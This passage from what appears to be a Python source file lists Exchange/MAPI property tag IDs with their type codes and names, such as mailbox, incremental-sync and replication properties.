0x3d8c: (0x0102, None, None, 4, None, None, \"BigFunnelAttributeVectorSharePointDataV1\"),\n        0x3d8d: (0x0014, None, None, 4, None, None, \"BigFunnelL1PropertyLengths2V1\"),\n        0x3d8e: (0x0014, None, None, 4, None, None, \"BigFunnelL1PropertyLengths1V1Rebuild\"),\n        0x3d8f: (0x000b, None, None, 4, None, None, \"MessageSubmittedByOutlook\"),\n        0x3d90: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTargetTableVersion\"),\n        0x3d91: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTargetTableChunkSize\"),\n        0x3d92: (0x0014, None, None, 4, None, None, \"BigFunnelL1PropertyLengths1V1\"),\n        0x3d93: (0x0003, None, None, 4, None, None, \"ScopeKeyTokenType\"),\n        0x3d94: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTableVersion\"),\n        0x3d95: (0x0003, None, None, 4, None, None, \"BigFunnelPostingListTableChunkSize\"),\n        0x3d96: (0x0040, None, None, 4, None, None, \"LastTableSizeStatisticsUpdate\"),\n        0x3d97: (0x000b, None, None, 4, None, None, \"IcsRestrictionMatch\"),\n        0x3d98: (0x0102, None, None, 4, None, None, \"BigFunnelPartialPOI\"),\n        0x3d99: (0x0102, None, None, 4, None, None, \"LargeReservedDocIdRanges\"),\n        0x3d9a: (0x0048, None, None, 4, None, None, \"DocIdAsImmutableIdGuid\"),\n        0x3d9b: (0x0040, None, None, 4, None, None, \"MoveCompletionTime\"),\n        0x3d9c: (0x0102, None, None, 4, None, None, \"MaterializedRestrictionSearchRoot\"),\n        0x3d9d: (0x0003, None, None, 4, None, None, \"ScheduledISIntegCorruptionCount\"),\n        0x3d9e: (0x0003, None, None, 4, None, None, \"ScheduledISIntegExecutionTime\"),\n        0x3da1: (0x0102, None, None, 4, None, None, \"QueryCriteriaInternal\"),\n        0x3da2: (0x0040, None, None, 4, None, None, \"LastQuotaNotificationTime\"),\n        0x3da3: (0x000b, None, None, 4, None, None, \"PropertyPromotionInProgressHiddenItems\"),\n        0x3da4: (0x000b, None, None, 4, None, None, \"PropertyPromotionInProgressNormalItems\"),\n        0x3da5: (0x001f, None, None, 4, None, None, \"VirtualParentDisplay\"),\n        0x3da6: (0x0003, None, None, 4, None, None, \"MailboxTypeDetail\"),\n        0x3da7: (0x0102, None, None, 4, None, None, \"InternalTenantHint\"),\n        0x3da8: (0x000b, None, None, 4, None, None, \"InternalConversationIndexTracking\"),\n        0x3da9: (0x0102, None, None, 4, None, None, \"InternalConversationIndex\"),\n        0x3daa: (0x0102, None, None, 4, None, None, \"ConversationItemConversationId\"),\n        0x3dab: (0x0014, None, None, 4, None, None, \"VirtualUnreadMessageCount\"),\n        0x3dac: (0x000b, None, None, 4, None, None, \"VirtualIsRead\"),\n        0x3dad: (0x000b, None, None, 4, None, None, \"IsReadColumn\"),\n        0x3dae: (0x0102, None, None, 4, None, None, \"PersistableTenantPartitionHint\"),\n        0x3daf: (0x0102, None, None, 4, None, None, \"Internal9ByteChangeNumber\"),\n        0x3db0: (0x0102, None, None, 4, None, None, \"Internal9ByteReadCnNew\"),\n        0x3db1: (0x000b, None, None, 4, None, None, \"CategoryHeaderLevelStub1\"),\n        0x3db2: (0x000b, None, None, 4, None, None, \"CategoryHeaderLevelStub2\"),\n        0x3db3: (0x000b, None, None, 4, None, None, \"CategoryHeaderLevelStub3\"),\n        0x3db4: (0x0102, None, None, 4, None, None, \"CategoryHeaderAggregateProp0\"),\n        0x3db5: (0x0102, None, None, 4, None, None, \"CategoryHeaderAggregateProp1\"),\n        0x3db6: (0x0102, None, None, 4, None, None, \"CategoryHeaderAggregateProp2\"),\n        0x3db7: (0x0102, None, None, 4, None, None, \"CategoryHeaderAggregateProp3\"),\n        0x3db8: (0x0003, None, None, 4, None, None, \"MailboxMoveExtendedFlags\"),\n        0x3dbb: (0x0048, None, None, 4, None, None, \"MaintenanceId\"),\n        0x3dbc: (0x0003, None, None, 4, None, None, \"MailboxType\"),\n        0x3dbd: (0x0003, None, None, 4, None, None, \"MessageFlagsActual\"),\n        0x3dbe: (0x0102, None, None, 4, None, None, \"InternalChangeKey\"),\n        0x3dbf: (0x0102, None, None, 4, None, None, \"InternalSourceKey\"),\n        0x3dd1: (0x0048, None, None, 4, None, None, \"CorrelationId\"),\n        0x3e00: (0x001f, None, None, 4, None, None, \"IdentityDisplay\"),\n        0x3e01: (0x0102, None, None, 4, None, None, \"IdentityEntryId\"),\n        0x3e02: (0x0003, None, None, 4, None, None, \"ResourceMethods\"),\n        0x3e03: (0x0003, None, None, 4, None, None, \"ResourceType\"),\n        0x3e04: (0x0003, None, None, 4, None, None, \"StatusCode\"),\n        0x3e05: (0x0102, None, None, 4, None, None, \"IdentitySearchKey\"),\n        0x3e06: (0x0102, None, None, 4, None, None, \"OwnStoreEntryId\"),\n        0x3e07: (0x001f, None, None, 4, None, None, \"ResourcePath\"),\n        0x3e08: (0x001f, None, None, 4, None, None, \"StatusString\"),\n        0x3e0b: (0x0003, None, None, 4, None, None, \"RemoteProgress\"),\n        0x3e0c: (0x001f, None, None, 4, None, None, \"RemoteProgressText\"),\n        0x3e0d: (0x000b, None, None, 4, None, None, \"RemoteValidateOK\"),\n        0x3f00: (0x0003, None, None, 4, None, None, \"ControlFlags\"),\n        0x3f01: (0x0102, None, None, 4, None, None, \"ControlStructure\"),\n        0x3f02: (0x0003, None, None, 4, None, None, \"ControlType\"),\n        0x3f03: (0x0003, None, None, 4, None, None, \"DeltaX\"),\n        0x3f04: (0x0003, None, None, 4, None, None, \"DeltaY\"),\n        0x3f05: (0x0003, None, None, 4, None, None, \"XPos\"),\n        0x3f06: (0x0003, None, None, 4, None, None, \"YPos\"),\n        0x3f07: (0x0102, None, None, 4, None, None, \"ControlId\"),\n        0x3f88: (0x0014, None, None, 4, None, None, \"AttachmentId\"),\n        0x3f89: (0x0102, None, None, 4, None, None, \"GVid\"),\n        0x3f8a: (0x0102, None, None, 4, None, None, \"GDID\"),\n        0x3f95: (0x0102, None, None, 4, None, None, \"XVid\"),\n        0x3f96: (0x0102, None, None, 4, None, None, \"GDefVid\"),\n        0x3fc8: (0x0102, None, None, 4, None, None, \"ReplicaChangeNumber\"),\n        0x3fc9: (0x0102, None, None, 4, None, None, \"LastConflict\"),\n        0x3fd4: (0x0102, None, None, 4, None, None, \"RMI\"),\n        0x3fd5: (0x0102, None, None, 4, None, None, \"InternalPostReply\"),\n        0x3fd6: (0x0040, None, None, 4, None, None, \"NTSDModificationTime\"),\n        0x3fd7: (0x0003, None, None, 4, None, None, \"ACLDataChecksum\"),\n        0x3fd8: (0x001f, None, None, 4, None, None, \"PreviewUnread\"),\n        0x3fe4: (0x000b, None, None, 4, None, None, \"DesignInProgress\"),\n        0x3fe5: (0x000b, None, None, 4, None, None, \"SecureOrigination\"),\n        0x3fe8: (0x001f, None, None, 4, None, None, \"AddressBookDisplayName\"),\n        0x3ff2: (0x0102, None, None, 4, None, None, \"RuleTriggerHistory\"),\n        0x3ff3: (0x0102, None, None, 4, None, None, \"MoveToStoreEntryId\"),\n        0x3ff4: (0x0102, None, None, 4, None, None, \"MoveToFolderEntryId\"),\n        0x3ffe: (0x0003, None, None, 4, None, None, \"QuotaType\"),\n        0x4000: (0x0003, None, None, 4, None, None, \"NewAttachment\"),\n        0x4001: (0x0003, None, None, 4, None, None, \"StartEmbed\"),\n        0x4002: (0x0003, None, None, 4, None, None, \"EndEmbed\"),\n        0x4003: (0x0003, None, None, 4, None, None, \"StartRecip\"),\n        0x4004: (0x0003, None, None, 4, None, None, \"EndRecip\"),\n        0x4005: (0x0003, None, None, 4, None, None, \"EndCcRecip\"),\n        0x4006: (0x0003, None, None, 4, None, None, \"EndBccRecip\"),\n        0x4007: (0x0003, None, None, 4, None, None, \"EndP1Recip\"),\n        0x4008: (0x001f, None, None, 4, None, None, \"DNPrefix\"),\n        0x4009: (0x0003, None, None, 4, None, None, \"StartTopFolder\"),\n        0x400a: (0x0003, None, None, 4, None, None, \"StartSubFolder\"),\n        0x400b: (0x0003, None, None, 4, None, None, \"EndFolder\"),\n        0x400c: (0x0003, None, None, 4, None, None, \"StartMessage\"),\n        0x400d: (0x0003, None, None, 4, None, None, \"EndMessage\"),\n        0x400e: (0x0003, None, None, 4, None, None, \"EndAttachment\"),\n        0x400f: (0x0003, None, None, 4, None, None, \"EcWarning\"),\n        0x4010: (0x0003, None, None, 4, None, None, \"StartFAIMessage\"),\n        0x4011: (0x0102, None, None, 4, None, None, \"NewFXFolder\"),\n        0x4012: (0x0003, None, None, 4, None, None, \"IncrSyncChange\"),\n        0x4013: (0x0003, None, None, 4, None, None, \"IncrSyncDelete\"),\n        0x4014: (0x0003, None, None, 4, None, None, \"IncrSyncEnd\"),\n        0x4015: (0x0003, None, None, 4, None, None, \"IncrSyncMessage\"),\n        0x4016: (0x0003, None, None, 4, None, None, \"FastTransferDelProp\"),\n        0x4017: (0x0102, None, None, 4, None, None, \"IdsetGiven\"),\n        0x4018: (0x0003, None, None, 4, None, None, \"FastTransferErrorInfo\"),\n        0x4019: (0x0003, None, None, 4, None, None, \"SenderFlags\"),\n        0x401b: (0x0003, None, None, 4, None, None, \"ReceivedByFlags\"),\n        0x401c: (0x0003, None, None, 4, None, None, \"ReceivedRepresentingFlags\"),\n        0x401d: (0x0003, None, None, 4, None, None, \"OriginalSenderFlags\"),\n        0x401e: (0x0003, None, None, 4, None, None, \"OriginalSentRepresentingFlags\"),\n        0x401f: (0x0003, None, None, 4, None, None, \"ReportFlags\"),\n        0x4020: (0x0003, None, None, 4, None, None, \"ReadReceiptFlags\"),\n        0x4021: (0x0102, None, None, 4, None, None, \"SoftDeletes\"),\n        0x4022: (0x001f, None, None, 4, None, None, \"CreatorAddressType\"),\n        0x4023: (0x001f, None, None, 4, None, None, \"CreatorEmailAddress\"),\n        0x4024: (0x001f, None, None, 4, None, None, \"LastModifierAddressType\"),\n        0x4025: (0x001f, None, None, 4, None, None, \"LastModifierEmailAddress\"),\n        0x4026: (0x001f, None, None, 4, None, None, \"ReportAddressType\"),\n        0x4027: (0x001f, None, None, 4, None, None, \"ReportEmailAddress\"),\n        0x4028: (0x001f, None, None, 4, None, None, \"ReportDisplayName\"),\n        0x402d: (0x0102, None, None, 4, None, None, \"IdsetRead\"),\n        0x402e: (0x0102, None, None, 4, None, None, \"IdsetUnread\"),\n        0x402f: (0x0003, None, None, 4, None, None, \"IncrSyncRead\"),\n        0x4037: (0x001f, None, None, 4, None, None, \"ReportSimpleDisplayName\"),\n        0x4038: (0x001f, None, None, 4, None, None, \"CreatorSimpleDisplayName\"),\n        0x4039: (0x001f, None, None, 4, None, None, \"LastModifierSimpleDisplayName\"),\n        0x403a: (0x0003, None, None, 4, None, None, \"IncrSyncStateBegin\"),\n        0x403b: (0x0003, None, None, 4, None, None, \"IncrSyncStateEnd\"),\n        0x403c: (0x0003, None, None, 4, None, None, \"IncrSyncImailStream\"),\n        0x403f: (0x001f, None, None, 4, None, None, \"SenderOriginalAddressType\"),\n        0x4040: (0x001f, None, None, 4, None, None, \"SenderOriginalEmailAddress\"),\n        0x4041: (0x001f, None, None, 4, None, None, \"SentRepresentingOriginalAddressType\"),\n        0x4042: (0x001f, None, None, 4, None, None, \"SentRepresentingOriginalEmailAddress\"),\n        0x4043: (0x001f, None, None, 4, None, None, \"OriginalSenderOriginalAddressType\"),\n        0x4044: (0x001f, None, None, 4, None, None, \"OriginalSenderOriginalEmailAddress\"),\n        0x4045: (0x001f, None, None, 4, None, None, \"OriginalSentRepresentingOriginalAddressType\"),\n        0x4046: (0x001f, None, None, 4, None, None, \"OriginalSentRepresentingOriginalEmailAddress\"),\n        0x4047: (0x001f, None, None, 4, None, None, \"ReceivedByOriginalAddressType\"),\n        0x4048: (0x001f, None, None, 4, None, None, \"ReceivedByOriginalEmailAddress\"),\n        0x4049: (0x001f, None, None, 4, None, None, \"ReceivedRepresentingOriginalAddressType\"),\n        0x404a: (0x001f, None, None, 4, None, None, \"ReceivedRepresentingOriginalEmailAddress\"),\n        0x404b: (0x001f, None, None, 4, None, None, \"ReadReceiptOriginalAddressType\"),\n        0x404c: (0x001f, None, None, 4, None, None, \"ReadReceiptOriginalEmailAddress\"),\n        0x404d: (0x001f, None, None, 4, None, None, \"ReportOriginalAddressType\"),\n        0x404e: (0x001f, None, None, 4, None, None, \"ReportOriginalEmailAddress\"),\n        0x404f: (0x001f, None, None, 4, None, None, \"CreatorOriginalAddressType\"),\n        0x4050: (0x001f, None, None, 4, None, None, \"CreatorOriginalEmailAddress\"),\n        0x4051: (0x001f, None, None, 4, None, None, \"LastModifierOriginalAddressType\"),\n        0x4052: (0x001f, None, None, 4, None, None, \"LastModifierOriginalEmailAddress\"),\n        0x4053: (0x001f, None, None, 4, None, None, \"OriginatorOriginalAddressType\"),\n        0x4054: (0x001f, None, None, 4, None, None, \"OriginatorOriginalEmailAddress\"),\n        0x4055: (0x001f, None, None, 4, None, None, \"ReportDestinationOriginalAddressType\"),\n        0x4056: (0x001f, None, None, 4, None, None, \"ReportDestinationOriginalEmailAddress\"),\n        0x4057: (0x001f, None, None, 4, None, None, \"OriginalAuthorOriginalAddressType\"),\n        0x4058: (0x001f, None, None, 4, None, None, \"OriginalAuthorOriginalEmailAddress\"),\n        0x4059: (0x0003, None, None, 4, None, None, \"CreatorFlags\"),\n        0x405a: (0x0003, None, None, 4, None, None, \"LastModifierFlags\"),\n        0x405b: (0x0003, None, None, 4, None, None, \"OriginatorFlags\"),\n        0x405c: (0x0003, None, None, 4, None, None, \"ReportDestinationFlags\"),\n        0x405d: (0x0003, None, None, 4, None, None, \"OriginalAuthorFlags\"),\n        0x405e: (0x001f, None, None, 4, None, None, \"OriginatorSimpleDisplayName\"),\n        0x405f: (0x001f, None, None, 4, None, None, \"ReportDestinationSimpleDisplayName\"),\n        0x4061: (0x0102, None, None, 4, None, None, \"OriginatorSearchKey\"),\n        0x4062: (0x001f, None, None, 4, None, None, \"ReportDestinationAddressType\"),\n        0x4063: (0x001f, None, None, 4, None, None, \"ReportDestinationEmailAddress\"),\n        0x4064: (0x0102, None, None, 4, None, None, \"ReportDestinationSearchKey\"),\n        0x4066: (0x0003, None, None, 4, None, None, \"IncrSyncImailStreamContinue\"),\n        0x4067: (0x0003, None, None, 4, None, None, \"IncrSyncImailStreamCancel\"),\n        0x4071: (0x0003, None, None, 4, None, None, \"IncrSyncImailStream2Continue\"),\n        0x4074: (0x000b, None, None, 4, None, None, \"IncrSyncProgressMode\"),\n        0x4075: (0x000b, None, None, 4, None, None, \"SyncProgressPerMsg\"),\n        0x407a: (0x0003, None, None, 4, None, None, \"IncrSyncMsgPartial\"),\n        0x407b: (0x0003, None, None, 4, None, None, \"IncrSyncGroupInfo\"),\n        0x407c: (0x0003, None, None, 4, None, None, \"IncrSyncGroupId\"),\n        0x407d: (0x0003, None, None, 4, None, None, \"IncrSyncChangePartial\"),\n        0x4084: (0x0003, None, None, 4, None, None, \"ContentFilterPCL\"),\n        0x4085: (0x0040, None, None, 4, None, None, \"PeopleInsightsLastAccessTime\"),\n        0x4086: (0x0040, None, None, 4, None, None, \"EmailUsageLastActivityTime\"),\n        0x4087: (0x0003, None, None, 4, None, None, \"PdpProfileDataMigrationFlags\"),\n        0x4088: (0x0102, None, None, 4, None, None, \"ControlDataForPdpDataMigrationAssistant\"),\n        0x5500: (0x000b, None, None, 4, None, None, \"IsInterestingForFileExtraction\"),\n        0x5d03: (0x001f, None, None, 4, None, None, \"OriginalSenderSMTPAddress\"),\n        0x5d04: (0x001f, None, None, 4, None, None, \"OriginalSentRepresentingSMTPAddress\"),\n        0x5d06: (0x001f, None, None, 4, None, None, \"OriginalAuthorSMTPAddress\"),\n        0x5d09: (0x0102, None, None, 4, None, None, \"MessageUsageData\"),\n        0x5d0a: (0x001f, None, None, 4, None, None, \"CreatorSMTPAddress\"),\n        0x5d0b: (0x001f, None, None, 4, None, None, \"LastModifierSMTPAddress\"),\n        0x5d0c: (0x001f, None, None, 4, None, None, \"ReportSMTPAddress\"),\n        0x5d0d: (0x001f, None, None, 4, None, None, \"OriginatorSMTPAddress\"),\n        0x5d0e: (0x001f, None, None, 4, None, None, \"ReportDestinationSMTPAddress\"),\n        0x5fe5: (0x001f, None, None, 4, None, None, \"RecipientSipUri\"),\n        0x6000: (0x0003, None, None, 4, None, None, \"RssServerLockStartTime\"),\n        0x6001: (0x001f, None, None, 4, None, None, \"DotStuffState\"),\n        0x6002: (0x001f, None, None, 4, None, None, \"RssServerLockClientName\"),\n        0x61af: (0x0102, None, None, 4, None, None, \"ScheduleData\"),\n        0x65ef: (0x0102, None, None, 4, None, None, \"RuleMsgActions\"),\n        0x65f0: (0x0102, None, None, 4, None, None, \"RuleMsgCondition\"),\n        0x65f1: (0x0003, None, None, 4, None, None, \"RuleMsgConditionLCID\"),\n        0x65f4: (0x000b, None, None, 4, None, None, \"PreventMsgCreate\"),\n        0x65f9: (0x0102, None, None, 4, None, None, \"LISSD\"),\n        0x65fa: (0x101f, None, None, 4, None, None, \"IMAPUnsubscribeList\"),\n        0x6607: (0x001f, None, None, 4, None, None, \"ProfileUnresolvedName\"),\n        0x660d: (0x0003, None, None, 4, None, None, \"ProfileMaxRestrict\"),\n        0x660e: (0x001f, None, None, 4, None, None, \"ProfileABFilesPath\"),\n        0x660f: (0x001f, None, None, 4, None, None, \"ProfileFavFolderDisplayName\"),\n        0x6613: (0x101f, None, None, 4, None, None, \"ProfileHomeServerAddrs\"),\n        0x662b: (0x0102, None, None, 4, None, None, \"TestLineSpeed\"),\n        0x6630: (0x0102, None, None, 4, None, None, \"LegacyShortcutsFolderEntryId\"),\n        0x6635: (0x001f, None, None, 4, None, None, \"FavoritesDefaultName\"),\n        0x6641: (0x0003, None, None, 4, None, None, \"DeletedFolderCount\"),\n        0x6643: (0x0003, None, None, 4, None, None, \"DeletedAssociatedMessageCount32\"),\n        0x6644: (0x001f, None, None, 4, None, None, \"ReplicaServer\"),\n        0x664c: (0x0102, None, None, 4, None, None, \"FidMid\"),\n        0x6652: (0x0102, None, None, 4, None, None, \"ActiveUserEntryId\"),\n        0x6655: (0x0102, None, None, 4, None, None, \"ICSChangeKey\"),\n        0x6657: (0x0102, None, None, 4, None, None, \"SetPropsCondition\"),\n        0x6659: (0x0102, None, None, 4, None, None, \"InternetContent\"),\n        0x665b: (0x001f, None, None, 4, None, None, \"OriginatorName\"),\n        0x665c: (0x001f, None, None, 4, None, None, \"OriginatorEmailAddress\"),\n        0x665d: (0x001f, None, None, 4, None, None, \"OriginatorAddressType\"),\n        0x665e: (0x0102, None, None, 4, None, None, \"OriginatorEntryId\"),\n        0x6662: (0x0003, None, None, 4, None, None, \"RecipientNumber\"),\n        0x6664: (0x001f, None, None, 4, None, None, \"ReportDestinationName\"),\n        0x6665: (0x0102, None, None, 4, None, None, \"ReportDestinationEntryId\"),\n        0x6692: (0x0003, None, None, 4, None, None, \"ReplicationMsgPriority\"),\n        0x6697: (0x0003, None, None, 4, None, None, \"WorkerProcessId\"),\n        0x669a: (0x0003, None, None, 4, None, None, \"CurrentDatabaseSchemaVersion\"),\n        0x669e: (0x000b, None, None, 4, None, None, \"SecureInSite\"),\n        0x66a7: (0x0003, None, None, 4, None, None, \"MailboxFlags\"),\n        0x66ab: (0x0003, None, None, 4, None, None, \"MailboxMessagesPerFolderCountWarningQuota\"),\n        0x66ac: (0x0003, None, None, 4, None, None, \"MailboxMessagesPerFolderCountReceiveQuota\"),\n        0x66ad: (0x0003, None, None, 4, None, None, \"NormalMessagesWithAttachmentsCount32\"),\n        0x66ae: (0x0003, None, None, 4, None, None, \"AssociatedMessagesWithAttachmentsCount32\"),\n        0x66af: (0x0003, None, None, 4, None, None, \"FolderHierarchyChildrenCountWarningQuota\"),\n        0x66b0: (0x0003, None, None, 4, None, None, \"FolderHierarchyChildrenCountReceiveQuota\"),\n        0x66b1: (0x0003, None, None, 4, None, None, \"AttachmentsOnNormalMessagesCount32\"),\n        0x66b2: (0x0003, None, None, 4, None, None, \"AttachmentsOnAssociatedMessagesCount32\"),\n        0x66b3: (0x0014, None, None, 4, None, None, \"NormalMessageSize64\"),\n        0x66e0: (0x001f, None, None, 4, None, None, \"ServerDN\"),\n        0x66e1: (0x0003, None, None, 4, None, None, \"BackfillRanking\"),\n        0x66e2: (0x0003, None, None, 4, None, None, \"LastTransmissionTime\"),\n        0x66e3: (0x0040, None, None, 4, None, None, \"StatusSendTime\"),\n        0x66e4: (0x0003, None, None, 4, None, None, \"BackfillEntryCount\"),\n        0x66e5: (0x0040, None, None, 4, None, None, \"NextBroadcastTime\"),\n        0x66e6: (0x0040, None, None, 4, None, None, \"NextBackfillTime\"),\n        0x66e7: (0x0102, None, None, 4, None, None, \"LastCNBroadcast\"),\n        0x66eb: (0x0102, None, None, 4, None, None, \"BackfillId\"),\n        0x66f4: (0x0102, None, None, 4, None, None, \"LastShortCNBroadcast\"),\n        0x66fb: (0x0040, None, None, 4, None, None, \"AverageTransmissionTime\"),\n        0x66fc: (0x0014, None, None, 4, None, None, \"ReplicationStatus\"),\n        0x66fd: (0x0040, None, None, 4, None, None, \"LastDataReceivalTime\"),\n        0x670c: (0x1048, None, None, 4, None, None, \"AutoReset\"),\n        0x6712: (0x0102, None, None, 4, None, None, \"ScopeFIDs\"),\n        0x671e: (0x000b, None, None, 4, None, None, \"PFPlatinumHomeMdb\"),\n        0x673f: (0x0102, None, None, 4, None, None, \"ReadCnNewExport\"),\n        0x6745: (0x0102, None, None, 4, None, None, \"LocallyDelivered\"),\n        0x6746: (0x0014, None, None, 4, None, None, \"MimeSize\"),\n        0x6747: (0x0014, None, None, 4, None, None, \"FileSize\"),\n        0x674b: (0x0014, None, None, 4, None, None, \"CategID\"),\n        0x674c: (0x0014, None, None, 4, None, None, \"ParentCategID\"),\n        0x6750: (0x0002, None, None, 4, None, None, \"ChangeType\"),\n        0x6753: (0x000b, None, None, 4, None, None, \"Not822Renderable\"),\n        0x6758: (0x0102, None, None, 4, None, None, \"LTID\"),\n        0x6759: (0x0102, None, None, 4, None, None, \"CnExport\"),\n        0x675a: (0x0102, None, None, 4, None, None, \"PclExport\"),\n        0x675b: (0x0102, None, None, 4, None, None, \"CnMvExport\"),\n        0x675c: (0x0102, None, None, 4, None, None, \"MidsetDeletedExport\"),\n        0x675d: (0x0003, None, None, 4, None, None, \"ArticleNumMic\"),\n        0x675e: (0x0003, None, None, 4, None, None, \"ArticleNumMost\"),\n        0x6760: (0x0003, None, None, 4, None, None, \"RulesSync\"),\n        0x6762: (0x0102, None, None, 4, None, None, \"ReplicaListRC\"),\n        0x6763: (0x0102, None, None, 4, None, None, \"ReplicaListRBUG\"),\n        0x6766: (0x0102, None, None, 4, None, None, \"FIDC\"),\n        0x676b: (0x001f, None, None, 4, None, None, \"MailboxOwnerDN\"),\n        0x676d: (0x0102, None, None, 4, None, None, \"IMAPCachedBodystructure\"),\n        0x676f: (0x001f, None, None, 4, None, None, \"AltRecipientDN\"),\n        0x6770: (0x000b, None, None, 4, None, None, \"NoLocalDelivery\"),\n        0x6771: (0x0003, None, None, 4, None, None, \"DeliveryContentLength\"),\n        0x6772: (0x000b, None, None, 4, None, None, \"AutoReply\"),\n        0x6773: (0x001f, None, None, 4, None, None, \"MailboxOwnerDisplayName\"),\n        0x6774: (0x0040, None, None, 4, None, None, \"MailboxLastUpdated\"),\n        0x6775: (0x001f, None, None, 4, None, None, \"AdminSurName\"),\n        0x6776: (0x001f, None, None, 4, None, None, \"AdminGivenName\"),\n        0x6777: (0x0003, None, None, 4, None, None, \"ActiveSearchCount\"),\n        0x677a: (0x0003, None, None, 4, None, None, \"OverQuotaLimit\"),\n        0x677c: (0x0003, None, None, 4, None, None, \"SubmitContentLength\"),\n        0x677d: (0x0003, None, None, 4, None, None, \"LogonRightsOnMailbox\"),\n        0x677e: (0x0014, None, None, 4, None, None, \"ReservedIdCounterRangeUpperLimit\"),\n        0x677f: (0x0014, None, None, 4, None, None, \"ReservedCnCounterRangeUpperLimit\"),\n        0x6780: (0x0003, None, None, 4, None, None, \"SetReceiveCount\"),\n        0x6781: (0x000b, None, None, 4, None, None, \"BigFunnelIsEnabled\"),\n        0x6782: (0x0003, None, None, 4, None, None, \"SubmittedCount\"),\n        0x6783: (0x0102, None, None, 4, None, None, \"CreatorToken\"),\n        0x6785: (0x0102, None, None, 4, None, None, \"SearchFIDs\"),\n        0x6786: (0x0102, None, None, 4, None, None, \"RecursiveSearchFIDs\"),\n        0x678a: (0x0102, None, None, 4, None, None, \"CategFIDs\"),\n        0x6791: (0x0014, None, None, 4, None, None, \"MidSegmentStart\"),\n        0x6792: (0x0102, None, None, 4, None, None, \"MidsetDeleted\"),\n        0x6793: (0x0102, None, None, 4, None, None, \"MidsetExpired\"),\n        0x6794: (0x0102, None, None, 4, None, None, \"CnsetIn\"),\n        0x6796: (0x0102, None, None, 4, None, None, \"CnsetBackfill\"),\n        0x6798: (0x0102, None, None, 4, None, None, \"MidsetTombstones\"),\n        0x679a: (0x000b, None, None, 4, None, None, \"GWFolder\"),\n        0x679b: (0x000b, None, None, 4, None, None, \"IPMFolder\"),\n        0x679c: (0x001f, None, None, 4, None, None, \"PublicFolderPath\"),\n        0x679f: (0x0002, None, None, 4, None, None, \"MidSegmentIndex\"),\n        0x67a0: (0x0002, None, None, 4, None, None, \"MidSegmentSize\"),\n        0x67a1: (0x0002, None, None, 4, None, None, \"CnSegmentStart\"),\n        0x67a2: (0x0002, None, None, 4, None, None, \"CnSegmentIndex\"),\n        0x67a3: (0x0002, None, None, 4, None, None, \"CnSegmentSize\"),\n        0x67a5: (0x0102, None, None, 4, None, None, \"PCL\"),\n        0x67a6: (0x1014, None, None, 4, None, None, \"CnMv\"),\n        0x67a7: (0x0014, None, None, 4, None, None, \"FolderTreeRootFID\"),\n        0x67a8: (0x0102, None, None, 4, None, None, \"SourceEntryId\"),\n        0x67a9: (0x0002, None, None, 4, None, None, \"MailFlags\"),\n        0x67ab: (0x0003, None, None, 4, None, None, \"SubmitResponsibility\"),\n        0x67ad: (0x000b, None, None, 4, None, None, \"SharedReceiptHandling\"),\n        0x67b3: (0x0102, None, None, 4, None, None, \"MessageAttachmentList\"),\n        0x67b5: (0x0102, None, None, 4, None, None, \"SenderCAI\"),\n        0x67b6: (0x0102, None, None, 4, None, None, \"SentRepresentingCAI\"),\n        0x67b7: (0x0102, None, None, 4, None, None, \"OriginalSenderCAI\"),\n        0x67b8: (0x0102, None, None, 4, None, None, \"OriginalSentRepresentingCAI\"),\n        0x67b9: (0x0102, None, None, 4, None, None, \"ReceivedByCAI\"),\n        0x67ba: (0x0102, None, None, 4, None, None, \"ReceivedRepresentingCAI\"),\n        0x67bb: (0x0102, None, None, 4, None, None, \"ReadReceiptCAI\"),\n        0x67bc: (0x0102, None, None, 4, None, None, \"ReportCAI\"),\n        0x67bd: (0x0102, None, None, 4, None, None, \"CreatorCAI\"),\n        0x67be: (0x0102, None, None, 4, None, None, \"LastModifierCAI\"),\n        0x67c4: (0x0002, None, None, 4, None, None, \"AnonymousRights\"),\n        0x67ce: (0x0102, None, None, 4, None, None, \"SearchGUID\"),\n        0x67d2: (0x0102, None, None, 4, None, None, \"CnsetRead\"),\n        0x67da: (0x0102, None, None, 4, None, None, \"CnsetBackfillFAI\"),\n        0x67de: (0x0003, None, None, 4, None, None, \"ReplMsgVersion\"),\n        0x67e5: (0x0102, None, None, 4, None, None, \"IdSetDeleted\"),\n        0x67e6: (0x0102, None, None, 4, None, None, \"FolderMessages\"),\n        0x67e7: (0x0102, None, None, 4, None, None, \"SenderReplid\"),\n        0x67e8: (0x0014, None, None, 4, None, None, \"CnMin\"),\n        0x67e9: (0x0014, None, None, 4, None, None, \"CnMax\"),\n        0x67ea: (0x0003, None, None, 4, None, None, \"ReplMsgType\"),\n        0x67eb: (0x0102, None, None, 4, None, None, \"RgszDNResponders\"),\n        0x67f2: (0x1003, None, None, 4, None, None, \"ViewCoveringPropertyTags\"),\n        0x67f4: (0x000b, None, None, 4, None, None, \"ICSViewFilter\"),\n        0x67f8: (0x0102, None, None, 4, None, None, \"OriginatorCAI\"),\n        0x67f9: (0x0102, None, None, 4, None, None, \"ReportDestinationCAI\"),\n        0x67fa: (0x0102, None, None, 4, None, None, \"OriginalAuthorCAI\"),\n        0x6807: (0x0014, None, None, 4, None, None, \"EventCounter\"),\n        0x6809: (0x0102, None, None, 4, None, None, \"EventFid\"),\n        0x680a: (0x0102, None, None, 4, None, None, \"EventMid\"),\n        0x680b: (0x0102, None, None, 4, None, None, \"EventFidParent\"),\n        0x680c: (0x0102, None, None, 4, None, None, \"EventFidOld\"),\n        0x680e: (0x0102, None, None, 4, None, None, \"EventFidOldParent\"),\n        0x680f: (0x0040, None, None, 4, None, None, \"EventCreatedTime\"),\n        0x6811: (0x0003, None, None, 4, None, None, \"EventItemCount\"),\n        0x6812: (0x0102, None, None, 4, None, None, \"EventFidRoot\"),\n        0x6818: (0x0014, None, None, 4, None, None, \"EventExtendedFlags\"),\n        0x681c: (0x0102, None, None, 4, None, None, \"EventImmutableid\"),\n        0x681d: (0x0040, None, None, 4, None, None, \"MailboxQuarantineEnd\"),\n        0x681e: (0x0003, None, None, 4, None, None, \"EventOldParentDefaultFolderType\"),\n        0x681f: (0x0003, None, None, 4, None, None, \"MailboxNumber\"),\n        0x6821: (0x0003, None, None, 4, None, None, \"InferenceClientId\"),\n        0x6822: (0x0102, None, None, 4, None, None, \"InferenceItemId\"),\n        0x6823: (0x0040, None, None, 4, None, None, \"InferenceCreateTime\"),\n        0x6824: (0x0048, None, None, 4, None, None, \"InferenceWindowId\"),\n        0x6825: (0x0048, None, None, 4, None, None, 